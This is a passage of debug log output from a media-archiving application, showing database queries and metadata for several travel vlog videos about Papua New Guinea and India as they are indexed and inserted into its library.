17:17:03Z], ~U[2026-08-20 01:28:48Z], ~U[2026-08-20 01:28:48Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 18:28:48.483 [debug] QUERY OK source="sources" db=0.1ms idle=52.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:48.483 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:48.484 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 18:28:48.484 [debug] Current batch of media processed. Will check again in 1000ms 18:28:49.485 [debug] Current batch of media processed. Will check again in 1000ms 18:28:50.486 [debug] Current batch of media processed. Will check again in 1000ms 18:28:51.487 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 18:28:51.488 [debug] QUERY OK source="sources" db=0.3ms idle=1800.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:51.488 [debug] QUERY OK source="sources" db=0.3ms idle=1801.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:51.489 [debug] QUERY OK source="media_items" db=0.3ms idle=1801.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 18:28:51.490 [debug] QUERY OK source="media_items" db=0.8ms idle=1056.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "17884b27-10eb-4e9f-877e-66084216c365", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 01:28:51Z], ~U[2026-08-20 01:28:51Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 18:28:51.491 [debug] QUERY OK source="sources" db=0.2ms idle=56.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:51.491 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:51.491 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 18:28:51.491 [debug] Current batch of media processed. Will check again in 1000ms 18:28:52.492 [debug] Current batch of media processed. Will check again in 1000ms 18:28:53.493 [debug] Current batch of media processed. Will check again in 1000ms 18:28:54.494 [debug] Current batch of media processed. Will check again in 1000ms 18:28:55.495 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 18:28:55.496 [debug] QUERY OK source="sources" db=0.2ms idle=808.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:55.496 [debug] QUERY OK source="sources" db=0.2ms idle=809.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:55.497 [debug] QUERY OK source="media_items" db=0.2ms idle=809.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 18:28:55.498 [debug] QUERY OK source="media_items" db=0.8ms idle=810.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "2602a672-bace-44f7-98c3-702ed4cdc7e1", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 01:28:55Z], ~U[2026-08-20 01:28:55Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 18:28:55.499 [debug] QUERY OK source="sources" db=0.2ms idle=58.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:55.499 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:55.499 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 18:28:55.499 [debug] Current batch of media processed. Will check again in 1000ms 18:28:56.500 [debug] Current batch of media processed. Will check again in 1000ms 18:28:57.501 [debug] Current batch of media processed. Will check again in 1000ms 18:28:58.502 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 18:28:58.503 [debug] QUERY OK source="sources" db=0.3ms idle=1815.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:58.503 [debug] QUERY OK source="sources" db=0.1ms idle=1815.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:58.504 [debug] QUERY OK source="media_items" db=0.3ms idle=1816.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 18:28:58.506 [debug] QUERY OK source="media_items" db=2.2ms idle=1061.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "9d30cadf-3671-4239-93f6-7e60bc2cdffc", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 01:28:58Z], ~U[2026-08-20 01:28:58Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 18:28:58.506 [debug] QUERY OK source="sources" db=0.1ms idle=62.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:58.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:58.507 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 18:28:58.507 [debug] Current batch of media processed. Will check again in 1000ms 18:28:59.508 [debug] Current batch of media processed. Will check again in 1000ms 18:29:00.125 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:00.509 [debug] Current batch of media processed. Will check again in 1000ms 18:29:01.510 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should 